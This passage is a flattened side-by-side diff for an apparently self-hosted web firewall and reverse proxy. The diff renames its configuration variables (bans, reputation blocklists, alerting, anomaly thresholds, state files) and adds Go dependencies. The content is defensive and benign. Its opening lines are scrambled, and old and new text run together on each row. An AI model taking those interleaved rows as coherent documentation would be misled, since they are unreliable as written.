yet. It has no `_FILE` form. that removes or changes rules as the file loads, such as `SecRuleRemoveById`,
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get since none of the Core Rule Set's rules is loaded yet. It has no `_FILE` form.
in a minute from a rule file, a trap path or the Core Rule Set, a count or - `SWW_WAF_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may
get in a minute from a rule file, a trap path or the Core Rule Set, a count or
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`). `off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
## Ban lengths, response and scope ## Ban lengths, response and scope
- `SWW_BAN_RESPONSE` (default `403`): `403`, `429` or `close`. - `SWW_WAF_BAN_RESPONSE` (default `403`): `403`, `429` or `close`.
- `SWW_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit. A - `SWW_WAF_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit.
duration. A duration.
- `SWW_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends - `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
within which breaking a limit again lengthens the next ban. A duration. within which breaking a limit again lengthens the next ban. A duration.
- `SWW_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit; one - `SWW_WAF_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit;
that would be longer is permanent. A duration. one that would be longer is permanent. A duration.
- `SWW_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign of - `SWW_WAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign
attack. A duration. of attack. A duration.
- `SWW_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client - `SWW_WAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
covers: the prefix length of its netblock, from 0 to 32. covers: the prefix length of its netblock, from 0 to 32.
## Reputation ## Reputation
- `SWW_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as - `SWW_WAF_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as
`https://www.spamhaus.org/drop/drop.txt`. Each an `http` or `https` URL `https://www.spamhaus.org/drop/drop.txt`. Each an `http` or `https` URL
without a user or a fragment. A URL listed twice is refused. without a user or a fragment. A URL listed twice is refused.
- `SWW_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its last - `SWW_WAF_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its
try before it is fetched again. A duration of `1h` or more. last try before it is fetched again. A duration of `1h` or more.
- `SWW_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:<percent>` or `log`. - `SWW_WAF_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:<percent>` or
- `SWW_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as `log`.
- `SWW_WAF_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as
`dnsbl.dronebl.org`. Each a DNS name of at most 189 characters. A Spamhaus `dnsbl.dronebl.org`. Each a DNS name of at most 189 characters. A Spamhaus
zone carries its key, as in `<key>.xbl.dq.spamhaus.net`. A zone listed twice zone carries its key, as in `<key>.xbl.dq.spamhaus.net`. A zone listed twice
is refused, whatever its case or key. is refused, whatever its case or key.
- `SWW_DNSBL_RESOLVER` (default unset): the resolver to ask the zones through, - `SWW_WAF_DNSBL_RESOLVER` (default unset): the resolver to ask the zones
such as `192.0.2.53` or `[2001:db8::53]:5353`. An IP address with an optional through, such as `192.0.2.53` or `[2001:db8::53]:5353`. An IP address with an
port, 53 when none is given. Unset, the host's resolver is used. optional port, 53 when none is given. Unset, the host's resolver is used.
- `SWW_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A - `SWW_WAF_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A
control character in it is refused. control character in it is refused.
- `SWW_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence score, - `SWW_WAF_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence
from 0 to 100, that is a hit. score, from 0 to 100, that is a hit.
- `SWW_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a day, a - `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a
whole number above zero. AbuseIPDB's free accounts may make 1,000. day, a whole number above zero. AbuseIPDB's free accounts may make 1,000.
- `SWW_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec engine - `SWW_WAF_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec
you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL without a engine you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL
user or a fragment; its decision list is at `v1/decisions` under it. Set without a user or a fragment; its decision list is at `v1/decisions` under it.
without the key, it is refused. So is a decision list URL that is also in Set without the key, it is refused. So is a decision list URL that is also in
`SWW_BLOCKLIST_URLS`, or that is `SWW_ASN_LIMIT_PERCENT_URL`. `SWW_WAF_BLOCKLIST_URLS`, or that is `SWW_WAF_ASN_LIMIT_PERCENT_URL`.
- `SWW_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for - `SWW_WAF_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
`smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the
URL, it is refused. URL, it is refused.
- `SWW_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or - `SWW_WAF_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or
`log`, for DNS blocklist and AbuseIPDB hits. `log`, for DNS blocklist and AbuseIPDB hits.
- `SWW_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or - `SWW_WAF_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or
AbuseIPDB's score is used. A duration. AbuseIPDB's score is used. A duration.
- `SWW_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a check - `SWW_WAF_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a
with AbuseIPDB may take. A duration. check with AbuseIPDB may take. A duration.
## Alerting ## Alerting
- `SWW_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each alert - `SWW_WAF_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each
as a JSON object. An `http` or `https` URL without a user or a fragment. alert as a JSON object. An `http` or `https` URL without a user or a fragment.
- `SWW_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post, such - `SWW_WAF_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post,
as `Authorization:Bearer 0123456789abcdef`. A list of name, `:` and value. A such as `Authorization:Bearer 0123456789abcdef`. A list of name, `:` and
value cannot hold a comma. value. A value cannot hold a comma.
- `SWW_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook that - `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook
receives each alert as a message, checked as the webhook URL is. that receives each alert as a message, checked as the webhook URL is.
- `SWW_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each alert, - `SWW_WAF_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each
as the topic's full URL, such as `https://ntfy.sh/my-alerts`, checked as the alert, as the topic's full URL, such as `https://ntfy.sh/my-alerts`, checked
webhook URL is. as the webhook URL is.
- `SWW_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control - `SWW_WAF_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control
character in it is refused. character in it is refused.
- `SWW_ALERT_EVENTS` (default - `SWW_WAF_ALERT_EVENTS` (default
`ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error`): `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error`):
the event types alerts are sent for, from those in [`alerts.md`](alerts.md) the event types alerts are sent for, from those in [`alerts.md`](alerts.md)
but `summary`. Any other name is refused. but `summary`. Any other name is refused.
- `SWW_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its - `SWW_WAF_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its
repeats are held back. A duration or `off`. repeats are held back. A duration or `off`.
- `SWW_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour. A - `SWW_WAF_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour.
whole number above zero, or `off`. A whole number above zero, or `off`.
## Anomaly thresholds ## Anomaly thresholds
Each scope has four thresholds: the most requests and the most body bytes Each scope has four thresholds: the most requests and the most body bytes
counted in a minute and in an hour. The bytes are those `SWW_BYTES_COUNT` names. counted in a minute and in an hour. The bytes are those `SWW_WAF_BYTES_COUNT`
Requests are counts, bytes are sizes. Each is `off` by default. The four names. Requests are counts, bytes are sizes. Each is `off` by default. The four
thresholds per client are: thresholds per client are:
- `SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`; - `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`;
- `SWW_ANOMALY_CLIENT_REQUESTS_PER_HOUR`; - `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR`;
- `SWW_ANOMALY_CLIENT_BYTES_PER_MINUTE`; - `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE`;
- `SWW_ANOMALY_CLIENT_BYTES_PER_HOUR`. - `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR`.
The other scopes' names have another prefix before the same four endings, such The other scopes' names have another prefix before the same four endings, such
as `REQUESTS_PER_MINUTE`: as `REQUESTS_PER_MINUTE`:
- `SWW_ANOMALY_NET_...`: per netblock around a client. Two settings give the - `SWW_WAF_ANOMALY_NET_...`: per netblock around a client. Two settings give the
netblock's length: netblock's length:
- `SWW_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4 - `SWW_WAF_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4
client; client;
- `SWW_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6 - `SWW_WAF_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6
client. client.
- `SWW_ANOMALY_ASN_...`: per AS number. - `SWW_WAF_ANOMALY_ASN_...`: per AS number.
- `SWW_ANOMALY_TOTAL_...`: the whole service. - `SWW_WAF_ANOMALY_TOTAL_...`: the whole service.
- `SWW_WATCH_...`: each netblock in `SWW_WATCH_NETS`, as a whole. - `SWW_WAF_WATCH_...`: each netblock in `SWW_WAF_WATCH_NETS`, as a whole.
`SWW_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such as `SWW_WAF_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such
`office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
name, or with a bad netblock, is refused. So is a name used twice. name, or with a bad netblock, is refused. So is a name used twice.
## Settings given as files ## Settings given as files
@@ -379,7 +385,7 @@ Then mount its directory into the container read-only, and name the file:
docker run \ docker run \
-v /srv/app/tokens:/etc/sww/tokens:ro \ -v /srv/app/tokens:/etc/sww/tokens:ro \
-e SWW_COMMAND=waf \ -e SWW_COMMAND=waf \
-e SWW_METRICS_TOKEN_FILE=/etc/sww/tokens/metrics \ -e SWW_WAF_METRICS_TOKEN_FILE=/etc/sww/tokens/metrics \
... ...
``` ```
@@ -402,51 +408,53 @@ A few limits are fixed rather than settings:
## `waf`'s answer and `rproxy`'s wait ## `waf`'s answer and `rproxy`'s wait
`SWW_LOOKUP_TIMEOUT` is the longest a question waits on an outside source. Keep `SWW_WAF_LOOKUP_TIMEOUT` is the longest a question waits on an outside source.
it well under `rproxy`'s `SWRP_TIMEOUT_MS`, as the default is. No question waits Keep it well under `rproxy`'s `SWW_RPROXY_TIMEOUT_MS`, as the default is. No
for `SWW_REPUTATION_TIMEOUT`, since the DNS blocklists and AbuseIPDB are asked question waits for `SWW_WAF_REPUTATION_TIMEOUT`, since the DNS blocklists and
in the background (see "Answering in time" under "`waf`" in AbuseIPDB are asked in the background (see "Answering in time" under "`waf`" in
[`SPEC.md`](../SPEC.md)). [`SPEC.md`](../SPEC.md)).
## `rproxy` ## `rproxy`
`sww rproxy` reads the settings below and no others. They are read once at `sww rproxy` reads the settings below and no others. They are read once at
start, and an invalid value stops the start. None can be given as a file, since start, and an invalid value stops the start. Any can be given as a file, as a
`rproxy` never touches disk. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what `SWW_WAF_` setting can. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what they do.
they do.
A time here is a whole number of milliseconds above zero, such as `2000`. A time here is a whole number of milliseconds above zero, such as `2000`.
- `SWRP_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or `https` - `SWW_RPROXY_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or
URL with a host and an optional port, and nothing more. `rproxy` speaks `https` URL with a host and an optional port, and nothing more. `rproxy`
HTTP/1.1 to it. speaks HTTP/1.1 to it.
- `SWRP_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for `waf`'s - `SWW_RPROXY_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for `waf`'s
answer, to a question and to a report. A time; never `off`. answer, to a question and to a report. A time; never `off`.
- `SWRP_DEFAULT_DISPOSITION` (default `allow`): what is done with a request when - `SWW_RPROXY_DEFAULT_DISPOSITION` (default `allow`): what is done with a
`waf` cannot be connected to, does not answer at all, or does not answer request when `waf` cannot be connected to, does not answer at all, or does not
within `SWRP_TIMEOUT_MS`. `allow` passes it to the app, and `deny` answers answer within `SWW_RPROXY_TIMEOUT_MS`. `allow` passes it to the app, and
`503`. It does not apply to an answer `waf` gives, such as an error. `deny` answers `503`. It does not apply to an answer `waf` gives, such as an
- `SWRP_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A size or error.
`off`. - `SWW_RPROXY_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A
- `SWRP_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A size or size or `off`.
`off`. - `SWW_RPROXY_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A
- `SWRP_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may take to size or `off`.
send its request line and headers. It then also bounds, from the end of the - `SWW_RPROXY_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may
headers, the time until the app has been sent the whole request. A time or take to send its request line and headers. It then also bounds, from the end
`off`. of the headers, the time until the app has been sent the whole request. A time
- `SWRP_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may take, or `off`.
from the end of the request to its last byte reaching the visitor. An answer - `SWW_RPROXY_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may
`rproxy` gives itself always has at least 10 seconds to be sent, and so do the take, from the end of the request to its last byte reaching the visitor. An
status and headers of the app's answer. A time or `off`. answer `rproxy` gives itself always has at least 10 seconds to be sent, and so
- `SWRP_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as `:9000`. do the status and headers of the app's answer. A time or `off`.
- `SWRP_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An `http` or - `SWW_RPROXY_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as
`https` URL with a host and an optional port, and nothing more. `:9000`.
- `SWRP_TRUSTED_PROXIES` (default `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`): - `SWW_RPROXY_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An
the netblocks whose `X-Forwarded-For` is believed. Set but empty, it trusts `http` or `https` URL with a host and an optional port, and nothing more.
nothing. A client outside these netblocks cannot claim another address. Where - `SWW_RPROXY_TRUSTED_PROXIES` (default
other containers reach `rproxy` directly, or visitors on a private network `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`): the netblocks whose
reach traefik, they can name another address in the header. Narrowing the `X-Forwarded-For` is believed. Set but empty, it trusts nothing. A client
setting to traefik's own network closes that gap. outside these netblocks cannot claim another address. Where other containers
reach `rproxy` directly, or visitors on a private network reach traefik, they
can name another address in the header. Narrowing the setting to traefik's own
network closes that gap.
## The image's command ## The image's command
@@ -458,14 +466,14 @@ It cannot be given as a file.
Nothing reads these names any more: Nothing reads these names any more:
- `SWW_UPSTREAM_URL` is `SWRP_UPSTREAM_URL`. - `SWW_WAF_UPSTREAM_URL` is `SWW_RPROXY_UPSTREAM_URL`.
- `SWW_TRUSTED_PROXIES` is `SWRP_TRUSTED_PROXIES`. - `SWW_WAF_TRUSTED_PROXIES` is `SWW_RPROXY_TRUSTED_PROXIES`.
- `SWW_REQUEST_MAX_BYTES` is `SWRP_MAX_REQUEST_SIZE`. - `SWW_WAF_REQUEST_MAX_BYTES` is `SWW_RPROXY_MAX_REQUEST_SIZE`.
- `SWW_RESPONSE_MAX_BYTES` is `SWRP_MAX_RESPONSE_SIZE`. - `SWW_WAF_RESPONSE_MAX_BYTES` is `SWW_RPROXY_MAX_RESPONSE_SIZE`.
- `SWW_CLIENT_REQUEST_TIMEOUT` and `SWW_UPSTREAM_REQUEST_TIMEOUT` are - `SWW_WAF_CLIENT_REQUEST_TIMEOUT` and `SWW_WAF_UPSTREAM_REQUEST_TIMEOUT` are
`SWRP_MAX_REQUEST_TIME_MS`, in milliseconds. `SWW_RPROXY_MAX_REQUEST_TIME_MS`, in milliseconds.
- `SWW_CLIENT_RESPONSE_TIMEOUT` and `SWW_UPSTREAM_RESPONSE_TIMEOUT` are - `SWW_WAF_CLIENT_RESPONSE_TIMEOUT` and `SWW_WAF_UPSTREAM_RESPONSE_TIMEOUT` are
`SWRP_MAX_RESPONSE_TIME_MS`, in milliseconds. `SWW_RPROXY_MAX_RESPONSE_TIME_MS`, in milliseconds.
- `SWW_CLIENT_IDLE_TIMEOUT` and `SWW_CLIENT_REQUEST_HEADER_MAX_BYTES` have no - `SWW_WAF_CLIENT_IDLE_TIMEOUT` and `SWW_WAF_CLIENT_REQUEST_HEADER_MAX_BYTES`
setting. `rproxy` closes a kept-open connection idle for 120 seconds, and have no setting. `rproxy` closes a kept-open connection idle for 120 seconds,
takes a request line and headers of at most 32 KiB. and takes a request line and headers of at most 32 KiB.
+10 -10
View File
@@ -4,15 +4,15 @@ The JSON files `waf` keeps, and what each holds. "Persistent state" in
[`SPEC.md`](../SPEC.md) says how they are written, read and edited. Each has a [`SPEC.md`](../SPEC.md) says how they are written, read and edited. Each has a
top-level `version` of 1. top-level `version` of 1.
- The state files are in `SWW_STATE_DIR`, `/var/lib/sww` by default. They hold - The state files are in `SWW_WAF_STATE_DIR`, `/var/lib/sww` by default. They
what cannot be fetched again, so back them up: hold what cannot be fetched again, so back them up:
- `bans.json`; - `bans.json`;
- `clients.json`; - `clients.json`;
- `abuseipdb-checks-spent.json`; - `abuseipdb-checks-spent.json`;
- `alerts.json`. - `alerts.json`.
- The cache files are in `SWW_CACHE_DIR`, `/var/cache/sww` by default. They hold - The cache files are in `SWW_WAF_CACHE_DIR`, `/var/cache/sww` by default. They
answers from outside services, which are asked again when a file is lost, so hold answers from outside services, which are asked again when a file is lost,
the directory can be left out of backups: so the directory can be left out of backups:
- `lookups.json`; - `lookups.json`;
- `lists.json`; - `lists.json`;
- `dnsbl.json`; - `dnsbl.json`;
@@ -21,8 +21,8 @@ top-level `version` of 1.
## `bans.json` ## `bans.json`
Active and past bans: every ban an admin made, and up to `SWW_MAX_BANS` of those Active and past bans: every ban an admin made, and up to `SWW_WAF_MAX_BANS` of
`waf` made. Per entry: those `waf` made. Per entry:
- `netblock`, `start` and `expires` (`null` for a permanent ban); - `netblock`, `start` and `expires` (`null` for a permanent ban);
- `cause`: `attack`, `limit`, `admin` or `crowdsec`; - `cause`: `attack`, `limit`, `admin` or `crowdsec`;
@@ -146,10 +146,10 @@ A cache file. routewatch's answers from the last hour, one per line:
## Sizes ## Sizes
- `clients.json`: about 1 KiB per client, about 20 MiB at the default - `clients.json`: about 1 KiB per client, about 20 MiB at the default
`SWW_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB of `SWW_WAF_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB
disk writes a day. of disk writes a day.
- `bans.json`: about 1.2 KiB per ban, at most about 2.5 KiB, so about 6 MiB at - `bans.json`: about 1.2 KiB per ban, at most about 2.5 KiB, so about 6 MiB at
the default `SWW_MAX_BANS`. Written every 15 minutes, a full file comes to the default `SWW_WAF_MAX_BANS`. Written every 15 minutes, a full file comes to
about 600 MiB of writes a day, and a hundred new bans a day add about 600 MiB about 600 MiB of writes a day, and a hundred new bans a day add about 600 MiB
more. more.
- `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when - `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
+10
View File
@@ -11,12 +11,14 @@ require (
github.com/maxmind/mmdbwriter v1.2.0 github.com/maxmind/mmdbwriter v1.2.0
github.com/oschwald/maxminddb-golang/v2 v2.7.0 github.com/oschwald/maxminddb-golang/v2 v2.7.0
github.com/prometheus/client_golang v1.24.1 github.com/prometheus/client_golang v1.24.1
github.com/spf13/viper v1.21.0
) )
require ( require (
github.com/beorn7/perks v1.0.1 // indirect github.com/beorn7/perks v1.0.1 // indirect
github.com/cespare/xxhash/v2 v2.3.0 // indirect github.com/cespare/xxhash/v2 v2.3.0 // indirect
github.com/corazawaf/libinjection-go v0.3.4 // indirect github.com/corazawaf/libinjection-go v0.3.4 // indirect
github.com/go-viper/mapstructure/v2 v2.4.0 // indirect
github.com/goccy/go-json v0.10.5 // indirect github.com/goccy/go-json v0.10.5 // indirect
github.com/goccy/go-yaml v1.19.2 // indirect github.com/goccy/go-yaml v1.19.2 // indirect
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 // indirect github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 // indirect
@@ -26,14 +28,22 @@ require (
github.com/kylelemons/godebug v1.1.0 // indirect github.com/kylelemons/godebug v1.1.0 // indirect
github.com/magefile/mage v1.17.0 // indirect github.com/magefile/mage v1.17.0 // indirect
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
github.com/pelletier/go-toml/v2 v2.2.4 // indirect
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 // indirect github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 // indirect
github.com/prometheus/client_model v0.6.2 // indirect github.com/prometheus/client_model v0.6.2 // indirect
github.com/prometheus/common v0.70.1 // indirect github.com/prometheus/common v0.70.1 // indirect
github.com/prometheus/procfs v0.21.1 // indirect github.com/prometheus/procfs v0.21.1 // indirect
github.com/sagikazarmark/locafero v0.11.0 // indirect
github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8 // indirect
github.com/spf13/afero v1.15.0 // indirect
github.com/spf13/cast v1.10.0 // indirect
github.com/spf13/pflag v1.0.10 // indirect
github.com/subosito/gotenv v1.6.0 // indirect
github.com/tidwall/gjson v1.18.0 // indirect github.com/tidwall/gjson v1.18.0 // indirect
github.com/tidwall/match v1.1.1 // indirect github.com/tidwall/match v1.1.1 // indirect
github.com/tidwall/pretty v1.2.1 // indirect github.com/tidwall/pretty v1.2.1 // indirect
github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect
go.yaml.in/yaml/v3 v3.0.5 // indirect
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
golang.org/x/net v0.60.0 // indirect golang.org/x/net v0.60.0 // indirect
golang.org/x/sync v0.23.0 // indirect golang.org/x/sync v0.23.0 // indirect
+24
View File
@@ -16,8 +16,12 @@ github.com/corazawaf/libinjection-go v0.3.4 h1:jX2Tit2xZxYJJyVryNXucYBZtQqS7473x
github.com/corazawaf/libinjection-go v0.3.4/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk= github.com/corazawaf/libinjection-go v0.3.4/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk=
github.com/foxcpp/go-mockdns v1.2.0 h1:omK3OrHRD1IWJz1FuFBCFquhXslXoF17OvBS6JPzZF0= github.com/foxcpp/go-mockdns v1.2.0 h1:omK3OrHRD1IWJz1FuFBCFquhXslXoF17OvBS6JPzZF0=
github.com/foxcpp/go-mockdns v1.2.0/go.mod h1:IhLeSFGed3mJIAXPH2aiRQB+kqz7oqu8ld2qVbOu7Wk= github.com/foxcpp/go-mockdns v1.2.0/go.mod h1:IhLeSFGed3mJIAXPH2aiRQB+kqz7oqu8ld2qVbOu7Wk=
github.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8=
github.com/frankban/quicktest v1.14.6/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0=
github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho= github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho=
github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo= github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo=
github.com/go-viper/mapstructure/v2 v2.4.0 h1:EBsztssimR/CONLSZZ04E8qAkxNYq4Qp9LvH92wZUgs=
github.com/go-viper/mapstructure/v2 v2.4.0/go.mod h1:oJDH3BJKyqBA2TXFhDsKDGDTlndYOZ6rGS0BRZIxGhM=
github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4= github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4=
github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M= github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM= github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM=
@@ -38,6 +42,10 @@ github.com/kaptinlin/jsonschema v0.4.6 h1:vOSFg5tjmfkOdKg+D6Oo4fVOM/pActWu/ntkPs
github.com/kaptinlin/jsonschema v0.4.6/go.mod h1:1DUd7r5SdyB2ZnMtyB7uLv64dE3zTFTiYytDCd+AEL0= github.com/kaptinlin/jsonschema v0.4.6/go.mod h1:1DUd7r5SdyB2ZnMtyB7uLv64dE3zTFTiYytDCd+AEL0=
github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk= github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk=
github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ= github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
github.com/magefile/mage v1.17.0 h1:dS4tkq997Ism03akafC8509iqDjeE7TNTexI25Y7sXM= github.com/magefile/mage v1.17.0 h1:dS4tkq997Ism03akafC8509iqDjeE7TNTexI25Y7sXM=
@@ -62,8 +70,24 @@ github.com/prometheus/common v0.70.1 h1:1HvjP4D5oL3t8RsPlwxA9onvvStjtIHYE5XuuwOi
github.com/prometheus/common v0.70.1/go.mod h1:VdFUQDMZK3VLkurFUVhia6uys/0suUp86TJz5qbJRhc= github.com/prometheus/common v0.70.1/go.mod h1:VdFUQDMZK3VLkurFUVhia6uys/0suUp86TJz5qbJRhc=
github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+OJI= github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+OJI=
